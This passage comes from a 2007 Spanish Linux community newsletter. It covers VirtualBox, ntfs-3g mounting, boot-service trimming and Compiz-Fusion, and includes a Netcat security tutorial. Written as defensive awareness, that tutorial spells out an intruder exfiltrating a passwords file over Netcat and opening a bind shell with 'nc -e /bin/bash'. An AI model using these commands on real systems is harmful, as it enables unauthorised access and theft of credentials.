Pues ya está, ahora, como de cualquier windows se tratara, veremos una carpeta compartida

en "Mi Pc".

Page 148: Mega Boletin Fent Linux 2007

Concluyendo.

Me ha sorprendido gratamente VirtualBox por su extrema facilidad de uso que hasta mi

sobrinillo de 5 años es capaz de ponerlo a rodar, pero lo que más me ha sorprendido es la

tremenda velocidad y soltura con la que se mueve el sistema virtualizado sin darle muchos

recursos del sistema, además el rendimiento del sistema "físico" no se resiente por tener en

memoria otro sistema, de echo la CPU no pasaba nunca del 45% en mi equipo, un AMD 64

3800+ con 1 Gb de RAM.

No he tenido problemas con la red, sonido ni con la gráfica, pero para el soporte USB debemos

instalar la versión 1.5.

Mediante los additions, aun reescalando la ventana al máximo no se nota ralentización alguna

y se puede ver video online, escuchar música, etc sin pérdidas de calidad ni saltos, aunque he

tenido algunos problemas con las carpetas compartidas.

Los juegos en 3D no funcionan, ya que de momento el sistema no emula el soporte gráfico

acelerado, por lo que algunas aplicaciones como Joost o los juegos no irán.

En fin, un buen programa que recomiendo a todos.

5. Herramientas de seguridad II: Netcat

Por Vl@d

Netcat es sin duda una de las herramientas de seguridad informáticas mas populares

dentro de GNU/Linux, no solo por su potencia y posible expansión combinada con lenguajes de

programación como C, sino por la cantidad de usos que tiene, de ahí que se le conozca

popularmente como la navaja multiusos.

Que mejor herramienta para testear la seguridad de nuestro pc de sobremesa o servidor que la

que utilizan “los amigos de lo ajeno”, en este pequeño tutorial vamos a poder ver algunos

ejemplos de lo que se puede hacer con netcat y veremos sus posibilidades.

La primera característica que nos en contramos en Netcat es que podemos incluso utilizarlo

como escaner de puertos, aunque hemos de decir que tal vez no sea la herramienta mas

adecuada para estos menesteres, ya que programas como nmap nos ofrecen mas potencia,

posibilidades y sobre todo “sigilo” a la hora de escanear un host en busca de algun puerto

abierto. Veamos un ejemplo en un escaneo sobre nuestro propio ordenador:

saruman:/home/vlad# nc -v -v -z 127.0.0.1 19-24

localhost [127.0.0.1] 19 (chargen): Conexión rehusada

localhost [127.0.0.1] 20 (ftp-data): Conexión rehusada

localhost [127.0.0.1] 21 (ftp): Conexión rehusada

localhost [127.0.0.1] 22 (ssh) open

Page 149: Mega Boletin Fent Linux 2007

localhost [127.0.0.1] 23 (telnet): Conexión rehusada

localhost [127.0.0.1] 24: Conexión rehusada

Total received bytes: 0

Total sent bytes: 0

Como podemos observar, le podemos indicar el rango de puertos a escanear, aunque por

supuesto, también podríamos indicarle un solo puerto.

Como administradores del sistema, es posible que queramos estar “a la escucha” en algún

puerto de nuestro host, para ver si hay un intento de entrada maliciosa. Con netcat es muy

fácil realizar esta tarea, basta con poner el siguiente comando en la consola y toda aquella

conexión que se realice a ese puerto, nos aparecerá en pantalla:

saruman:/home/vlad# nc -t -v -v -l 127.0.0.1 -p 3000

Listening on any address 3000

Ya lo hemos dejado escuchando, ahora se produce un telnet a nuestro sistema y a ese puerto

concretamente:

tepes@enemy:~$ telnet 192.168.2.3 3000

Trying 192.168.2.3...

Connected to localhost.

Escape character is '^]'.

Y queda registrado:

saruman:/home/vlad# nc -t -v -v -l 127.0.0.1 -p 3000

Listening on any address 3000

Connection from 192.168.2.2:45529

Imaginemos ahora que nuestro agresor ya se ha colado en nuestro sistema y que quiere

transferir un archivo importante a su máquina. Esto lo puede hacer fácilmente aprovechándose

de las características de esta buenísima herramienta. En la máquina atacada ejecutará:

saruman:/home/vlad# nc -l -p 1500 < contraseñas.txt

Esto hace que se ponga a la escucha en el puerto 1500 de la máquina víctima y al mismo

tiempo, este “sirviendo” el archivo contraseñas.txt. Cualquier conexión a ese puerto hará que

el contenido del archivo aparezca en la otra máquina. Desde su host ejecutará:

tepes@enemy:~$ nc 192.168.2.3 1500 > contrseñas.recibidas.txt

Mediante esta forma de usarlo, podemos hacer que se comporte como un servidor web,

bastará con servir el archivo con extensión html y conectarnos desde el otro ordenador a esa ip

y al puerto especificado:

saruman:/home/vlad# nc -l -p 8000 < index.html

Page 150: Mega Boletin Fent Linux 2007

Quizá ya os habréis dado cuenta de que podemos usar netcat para chatear directamente de

host a host. Lo mismo que servimos ficheros, podemos escribir directamente sobre el bufer:

saruman:/home/vlad# nc -l -p 3000

holaaaa

¿como estas?

Y en el cliente:

tepes@enemy:~$ nc 192.168.2.3 3000

holaaaa

¿como estas?

Pero no contento con eso, lo que nuestro enemigo quiere hacer directamente es conseguir una

shell donde ejecutar comandos directamente. Gracias a la opción -e lo va a conseguir, en el

host atacado bastará con ejecutar:

tepes@enemy:/home/vlad# nc -l -p 12345 -e /bin/bash

Esto hace que en el puerto 12345 haya una shell disponible para todas aquellas conexiones

entrantes. Ahora desde la máquina atacante:

tepes@enemy:~$ nc 192.168.2.3 12345

Y todo aquel comando válido que ejecute, repercutirá sobre el sistema atacado. Imaginad que

por arte de magia se os abre el lector de dvd...

Con este sencillísimo tutorial hemos visto que Netcat es de las mejores aplicaciones en cuanto

a seguridad informática disponible en GNU/Linux.

6. Optimizando el arranque

Durante el arranque del sistema, se inician una serie de servicios

llamados "Daemons" (demonios), algunos esenciales, otros no. Cada

distribución de Linux pone los que considere o si se elije la instalacion

personalizada podremos elejir los q nos interese. Por ejemplo Fedora, SUSE o Mandrake inician

por defecto otros servicios "por si acaso". Eliminándolos ahorraremos memória y reduciremos

el tiempo de arranque del sistema operativo.

Primero debemos saber cual es nuestro runlevel. Para eso miraremos el archivo /etc/inittab.

Donde dice:

id:3:initdefault

En este caso nos indica que nuestro runlevel por defecto es el 3. En la carpeta /etc/rc.d o

/etc/init.d están las carpetas rcx.d (donde x es el numero de runlevel) en la que cada cual tiene

los servicios que se ejecutan. Nuestro runlevel es el 3, así que nos metemos en rc3.d.

Page 151: Mega Boletin Fent Linux 2007

Aquí vemos unos scripts, y los que nos interesan son los que empiezan por S, q son lo que

inician el demonio (S de Start) NO vamos a borrarlos, por si acaso sino q basta con renombrarlo

poniendo un # delante, por ejemplo.

Aquí van los servicios que solemos tener:

- Alsa: Inicia el sonido si durante la instalación se configuró con este driver. Si no, no es

necesario.

- Apmd: Para portátiles, comprueba la batería y cuando esté baja apaga correctamente el

sistema. En un pc lo podemos borrar.

- Autofs: Monta automáticamente sistemas de ficheros bajo demanda. Podemos eliminarlo y

hacer los montajes estáticos.

- Crond: Ejecuta tareas esenciales para el sistema cada cierto tiempo. No se quita.

- Cups: El sistema de impresión. Si tu impresora usa otro sistema que no sea Cups, puedes

quitarlo (recuerda lo que dije de renombrar).

- Gpm: Para usar el ratón en la consola si no estamos usando el entorno gráfico.

- Harddrake: En Mandrake, herramienta de detección automática de hardware. Si no cambias

de hardware a menudo, puedes desactivarlo.

- Hpoj: Solo si tienes un escanner de HP.

- Httpd: Inicia el servidor web Apache. Si no tienes una página web alojada en tu ordenador,

ya sabes.

- Inetd: Daemon de los servicios de internet. Se queda.

- Iptables: El firewall. Aprende a protejer tu máquina.

- Iplog: Hace logs de conexiones TCP, UDP Y ICMP. Se puede quitar.

- Kdm: El login manager de KDE.

- Keytable: Carga los códigos de teclado de nuestro idioma. Si lo desactivas solo podrás usar

el teclado americano.

- Kudzu: Herramienta de detección de hardware de Red Hat. Igual que Harddrake, desactívalo

y ejecútalo cuando lo necesites.

- Mon: Monitorización remota del sistema. No lo necesitamos.

- Mysql: Si no usas esta base de datos, desactívalo.

- Netfs: Monta los sistemas de ficheros remotos de red, NFS, SMB y NCP. Eso se puede mejor

con Samba, así que fuera.

- Network: Está claro que se queda.

- Nfs: Si tu pc no es un servidor NFS, quítalo.

- Nfslock: Necesario para un servidor NFS.

- Numlock: Activa el teclado numérico. No afecta al rendimiento.

- Portmap: Es el servidor RPC de linux, el punto de entrada de las llamadas a procedimientos

remotos y es usado por NFS.

- Postgresql: Si no usas esta base de datos, ya sabes.

- Proftpd: Si no quieres tener un servidor FTP en tu pc, quítalo.

- Random: Genera números aleatorios, no se cual es su utilidad, pero se recomienda tenerlo.

- Rawdevices: Son devs que no cachean lo que escribes, a diferencia de los de bloque. Lo

Page 152: Mega Boletin Fent Linux 2007

pueden usar dispositivos fireware o dispositivos que tengan memoria en la puedas escribir (por

ejemplo, una impresora en la que puedas guardar fotos).

- Smb: Si usas Samba.

- Sound: Inicia el sonido si lo hemos configurado con OSS.

- Sshd: Si usas SSH para realizar conexiones seguras.

- Syslog: Gestor de históricos. No se debe quitar.

- Webmin: Si no usas este programa para configurar tu pc, quítalo.

- Xfs: Servidor de fuentes de Xwindow. se queda.

- Xinetd: Daemon de los servicios de internet. Se queda.

Pueden existir otros servicios q no aparezcan aquí y no sabes que hace cada servicio puedes

usar http://www.google.com/linux

Cuando no se usa el entorno gráfico y trabajas en modo texto, se activan seis terminales, que

puedes cambiar pulsando Alt - F1 para la primera, Alt - F2 para la segunda, etc. Sería raro que

necesitaras más de tres, así que vuelve al archivo /etc/inittab:

1:2345:respawn:/sbin/agetty 38400 vc/1 linux

2:2345:respawn:/sbin/agetty 38400 vc/2 linux

3:2345:respawn:/sbin/agetty 38400 vc/3 linux

4:2345:respawn:/sbin/agetty 38400 vc/4 linux

5:2345:respawn:/sbin/agetty 38400 vc/5 linux

6:2345:respawn:/sbin/agetty 38400 vc/6 linux

(El formato puede variar en tu distribución). Cada una usa unos 500 Kb de memoria, así que

pon una # delante de las terminales 4, 5 y 6 para desactivarlas, así:

- 4:2345:respawn:/sbin/agetty 38400 vc/4 linux

- 5:2345:respawn:/sbin/agetty 38400 vc/5 linux

- 6:2345:respawn:/sbin/agetty 38400 vc/6 linux

Guarda los cambios y ejecuta "init q"

7. Montar unidades NTFS en Debian

Por Andrey

Dado que ya sabemos como añadir nuevas particiones y dispositivos de

almacenamiento en general en formatos como fat32, reiserfs y ext3, aquí hablaré de como

podemos montar particiones de Windows (si lo tenemos, claro) en formato NTFS. Se tiene que

hacer de manera especial, por que GNU/Linux (estamos hablando de Debian en concreto), por

defecto no trae mucho soporte (de momento) para NTFS, y no se puede escribir sin mas.

Voy a explicar un método, que hace poco salió a la luz como estable. Este método se llama

NTFS-3G. Consiste en correr un “daemon” automático, que implemente soporte completo para

Page 153: Mega Boletin Fent Linux 2007

ntfs. Utilizando como formato de comprensión el ntfs-3g.

Fuse & ntfs-3g

Suponiendo que tenemos aún alguna partición de Windows en la máquina, vamos a montarla.

El primer paso, es averiguar que etiqueta tiene la partición, si hda1, hda2 etc... Cuando

tengamos esto, es hora de darle a la consola (o al ratón):

1- Deberemos descargar los paquetes referentes a ntfs-3g:

debian:/home/andrey# apt-get install fuse-utils libfuse2 libntfs-3g0 libntfs-3g-dev libfuse-dev

ntfs-3g

Leyendo lista de paquetes... Hecho

Creando árbol de dependencias... Hecho

Se instalarán los siguientes paquetes NUEVOS:

fuse-utils libfuse-dev libfuse2 libntfs-3g-dev libntfs-3g0 ntfs-3g

0 actualizados, 6 se instalarán, 0 para eliminar y 45 no actualizados.

Necesito descargar 439kB de archivos.

Se utilizarán 1393kB de espacio de disco adicional después de desempaquetar.

Des:1 http://ftp.fi.debian.org unstable/main fuse-utils 2.6.3-3 [72,6kB]

[...]

Configurando fuse-utils (2.6.3-3) ...

creating fuse device node...

udev active, devices will be created in /dev/.static/dev/

creating fuse group...

[...]

Configurando libntfs-3g-dev (1.328-2) ...

De los dos modos tendremos que aceptar una licencia (sí, sí, como las de Windows..)

Los paquetes referentes a Fuse, serán el programa en sí, y el paquete ntfs-3g es el soporte de

ntfs que utilizaremos. Fuse será el propio “daemon” a instalar. Sin él, simplemente no

funcionará. Normalmente se tiene que instalar como dependencia automática para ntfs-3g.

2- Creamos punto de montaje. Deberemos crear un punto de montaje, ya que la partición

NTFS, será a partir de ahora como una partición más del sistema. Entonces desde la consola

como root, escribimos:

mkdir /mnt/wind

En vez de /mnt, podemos usar /media. Como siempre, el nombre de la carpeta es personal,

siempre y cuando mantengamos ese nombre en los pasos siguientes.

3- Cuando tengamos instalados estos paquetes e identificada la partición a montar, abrimos de

nuevo el fstab con el comando (previa identificación root):

gedit /etc/fstab

Page 154: Mega Boletin Fent Linux 2007

Ahora añadiremos una linea más al fstab. Así que empezaremos poniendo el ejecutable de la

partición, seguido por un espacio, y el punto de montaje que hemos creado más arriba pero en

el campo “formato” donde supuestamente deberíamos poner “ntfs”, ahora pondremos ntfs-3g,

como el soporte de fuse que hemos descargado antes.

Ahora seguimos poniendo las opciones normalmente... Aquí es gusto de cada cual, pero hay

unas normas que seguir. El programa (fuse) usa como predeterminado el idioma Inglés, por lo

que cuando montemos nuestras unidades con dicho programa estarán solo soportando

carácteres ingleses (no soportará ni tildes ni eñes lo cual es inconveniente por que dará error a

la hora de leer ciertos archivos), por lo que tendremos que cabiar el idioma de montaje.

Añadiremos esta opción:

locale=es_ES.utf8

Además yo quiero que se monte a cada inicio y que la pueda gestionar todo usuario de mi

ordenador. Después pondremos los dos números a nuestro gusto. En mi caso SI deseo que la

chequee cada inicio, y añado: 0 2

De modo que el resultado final de nuestra nueva linea nos queda así (hay muchas opciones

nuevas, que no son imprescindibles):

/dev/hda4 /mnt/wind ntfs-3g silent,umask=0,locale=es_ES.utf8,no_def_opts,allow_other 0 2

Pues ya tenemos agregado nuestra partición en el fstab. Ahora solo falta reiniciar el PC (aquí sí

que es obligatorio), y comprobar que todo funciona bien y todos pueden secribir la partición. Y

otra cosa, este proceso tarda un poco más en interactuar con la partición ntfs en comparación

con otros formatos ya que no está completamente desarrollado aún, así que paciencia. Como

siempre, todo se puedo personalizar a gusto del consumidor ;)

Forma Automática

Pero aún existe otra forma de configurar una partición ntfs en Debian mediante nfts-3g.

Es una forma automatizada que actúa mediante una interfaz gráfica. Entonces os estaréis

preguntando para que os enseñé todo lo de arriba. Pues contesto, para que sepáis como

funcionan las cosas y poder arreglar problemas que se puedan sufrir.

Este método consiste en instalar un .deb, pero en este caso no estará en los repositorios. Antes

instalamos un paquete adicional, dependencia necesaria para la posterior instalación del otro:

libc6

Y ahora buscamos el paquete en Google, ntfs-config, lo instalamos tal y como ya sabemos y

luego lo ejecutamos desde la consola (root):

ntfs-config

Ahora lo configuramos todo a nuestro gusto y listo.

NOTA: Dicho paquete está en los repositorios de Ubuntu. Es posible añadir dichos

repositorios para instalar el paquete, pero para nada recomendable, ya que puede causar

Page 155: Mega Boletin Fent Linux 2007

indestabilidad al no estar optimizado para Debian.

El proceso funciona bien pero recomendaría tener una partición FAT32 de intercambio de datos

entre Windows y nuestro Debian, ya que ese formato es reconocido por ambos sistemas. La

única pega de este formato es que no permite almacenar archivos mayores de 4gb, lo que en

nuestros tiempos puede suponer un problema.

8. Compiz-Fusion en Debian

Por Andrey

Probablemente este gestor de ventanas haya sido tu única razón para probar Linux. Y

con razón... Realmente es espectacular. Nos permite hacer efectos de escritorio y ventanas

jamás vistos y además avanza imparable en cuanto a la cantidad y calidad de los efectos.

Ya sabemos que Compiz-Fusion es un gestor de ventanas resultado de la unión de Beryl y

Compiz. Deja por los suelos a muchos gestores de ventanas y realmente es muy espectacular.

Como mínimo necesitaremos 32 mb de RAM, y un procesador de 1200mHz. y el software

gráfico actualizado.

Si queremos que Beryl nos corra con soltura y utilizarlo en la navegación diaria necesitaríamos

una tarjeta Gráfica Nvidia o Intel. Las ATI no son la mejor opción, aunque también explicaré

como ponerlo en las ATI.

XGL/AIGLX

Todo esto para un novato es como una telaraña. Para poder correr CF (Compiz-Fusion)

necesitaremos tener activada alguno de estos componentes que lo que proporcionan es una

aceleración especial para CF( gestores de Ventanas 3D, en general). Cada una tiene

características distintas y diferentes formas de actuar.

XGL y AIGLX son dos motores diferentes. La principal diferencia entre ellos es que su forma de

acceder al driver, y conseguir aceleración gráfica para CF es diferente.

Por ejemplo, AIGLX provee aceleración indirecta para CF, pero mas rápida de controlar. Viene

incluido en los drivers nVidia.

XGL provee aceleración directa, pero tiene que saltar más pasos para ello.

Bajo ATI

Hace tiempo que los que tenemos tarjetas gráficas ATI nos peleamos por poder instalar

Beryl y con la salida de CF seguimos en ello aunque han mejorado algunos aspectos. La única

manera, hasta ahora, de poder correr CF en Debian es instalando y configurando el driver libre.

Ya dije al principio que ATI no es la mejor opción par correr CF. Al menos no está muy bien para

Page 156: Mega Boletin Fent Linux 2007

utilizarlo día a día pero para impresionar a los colegas es mas que suficiente. El único modo

que funciona hasta ahora es el de AIGLX.

El problema reside en que el driver propietario (el que da muy buen rendimiento) “fglrx”

simplemente no tiene las extensiones necesarias para trabajar con AIGLX y por eso no

podemos activar la extensión compositing, y por consiguiente, no podemos correr CF.

Este manual lo probé en una ATI Radeon 9600 y otras personas en una 9200SE y en una 9800 y

va a la perfección. Lo más seguro es que vaya también con otras gráficas.

Cuando tenemos ya instalados los drivers libres indicaremos a xorg.conf que es lo que tiene

que utilizar. Abriremos de nuevo el xorg.conf con el comando de siempre (root):

gedit /etc/X11/xorg.conf

En la sección “ServerLayout”, añadimos lo siguiente (solo lo que está en negrita):

Section "ServerLayout"

Identifier "Default Layout"

Screen "Default Screen" 0 0

InputDevice "Generic Keyboard"

InputDevice "Configured Mouse"

Option "AIGLX" "true"

EndSection

La sección donde pone “Modules” debe quedar con estos módulos activos:

Section "Module"

Load "i2c"

Load "bitmap"

Load "ddc"

Load "dri"

Load "extmod"

Load "freetype"

Load "glx"

Load "int10"

Load "vbe"

Load "ati"

EndSection

A partir de ahora la cosa se pone un poco mas personal ya que la opciones dichas a

continuación no son soportadas por todas las gráficas. Así que lo que está en rojo se debe

poner o quitar según tengas aceleración o no.

Page 157: Mega Boletin Fent Linux 2007

En el caso de fallo utilizar el comando de siempre (lo repito abajo). Si te falla el servidor gráfico

o no hay aceleración (verás como comprobarlo mas abajo), simplemente ves quitando una a

una las opciones en rojo hasta conseguir la aceleración.

Añadimos lo que está en negrita (y en rojo, valga la redundancia):

Section "Device"

Identifier "ATI Radeon 9600”

Driver "radeon"

BusID "PCI:1:0:0"

Option "AGPMode" "8

Option "EnablePageFlip" "true"

Option "ColorTiling" "true"

Option "EnableDepthMoves" "true"

Option "BackingStore" "true"

Option "AccelMethod" "XAA"

Option "AccelIDFS" "true"

Option "XAANoOffscreenPixmaps" "true"

Option "AllowGLXWithComposite" "true"

Option "AddARGBGLXVisuals" "true"

EndSection

Y al final del fichero normalmente debe estar esto:

Section "DRI"

Mode 0666

EndSection

Si no lo hay lo añadimos tal cual. Y por último añadimos, también al final, esta linea para

activar el compositing (este el culpable de todo el embrollo):

Section "Extensions"

Option "Composite" "true"

EndSection

Ahora, probamos reiniciar el modo gráfico o directamente el ordenador. Si el escritorio arranca

sin problemas la mitad del asunto ya está superado. Pero si da algún error de las X tenemos

que teclear como root en la primera consola que nos aparezca (o desde recovery mode):

dpkg-reconfigure xserver-xorg y seguir los pasos (aunque no los conozcamos). Y luego repetir

el proceso de xorg.conf quitando opciones de las que están en rojo.

Si todo ha salido bien y tenemos el escritorio delante nuestro probaremos la aceleración

gráfica. Antes instalaremos este paquete como ya sabemos: mesa-utils y después tecleamos

en la consola:

glxinfo | grep direct

Si nos sale: "direct rendering: Yes" la aceleración está activada y ya podemos instalar Beryl, si

Page 158: Mega Boletin Fent Linux 2007

no tenemos que ir quitando módulos en rojo para conseguirla. Yo puse las opciones que me la

dan a mí y aunque no a la perfección, puedo correr CF. Para ver como se instala, sigue después

del driver Nvidia.

Compiz-Fusion

Independientemente de la tarjeta gráfica que tenemos, este proceso es el mismo para

todas. Ahora añadiremos el repositorio de Beryl y lo descargaremos directamente desde apt:

deb http://download.tuxfamily.org/shames/debian-sid/desktopfx/unstable/ ./

Ahora simplemente con APT:

apt-get install compiz-fusion-all emerald compiz-fusion-plugins-main compiz-fusion-plugins-

main fusion-icon

Ahora escribimos un último paso para señalar el gestor de ventanas (emerald) para CF:

compiz --replace -c emerald &

Ya está. Escribimos:

fusion-icon

Seleccionamos Compiz como gestor de ventanas, y a disfrutar.

El proyecto es aún joven y no es de extrañar que pueda caerse o hacer cosas raras, pero la

rapidez a la que avanza es impresionante.

9. Agradecimientos y créditos.

Para posibles interesados en colaborar en su mantenimiento y difusión:

Contacto

Recordar que el presente boletín, como todas las imágenes y texto de FL se distribuyen bajo la

licencia de contenidos que rige en FL

Otros boletines FL

* 1er boletín online FL 2007.

* 2º boletín online FL especial tercer aniversario.

* 3er boletín online año 2007.

* 4º boletín online de FL año 2007.

* 5º boletín online de Fl año 2007.

* 6º boletín online de FL año 2007.

Page 159: Mega Boletin Fent Linux 2007

Enlaces a los magazines de fentlinux.

(Pronto novedades)

* 1er Magazine FentLinux

* 2º Magazine FenLinux

* 3er Magazine FentLinux

* 4º Magazine FentLinux

Disponible también el presente boletín en pdf.

Agradecimientos generales.

Aprovechamos para agradecer la colaboración prestada en la confección de los diferentes

boletines:

* A los autores: Zx80; Bad Seed; Liamngls; andrey; cocolino; vl@d; kallikantzaroi; montagú;

Shicefgo; the_ma3x; Juan Bellas; noctuido,

* A Thyzzar, por su elegantes diseños.

* Y a Javier Casares de Ojo Buscador; Maxence DUNNEWIND desarrollador de elbuntu; Marco A

Pollolinux de Comfusion por prestarse voluntarios y responder a nuestras peticiones en forma

de entrevistas.

Y a la comunidad "anónima" de FL por seguir confiando en nosotros.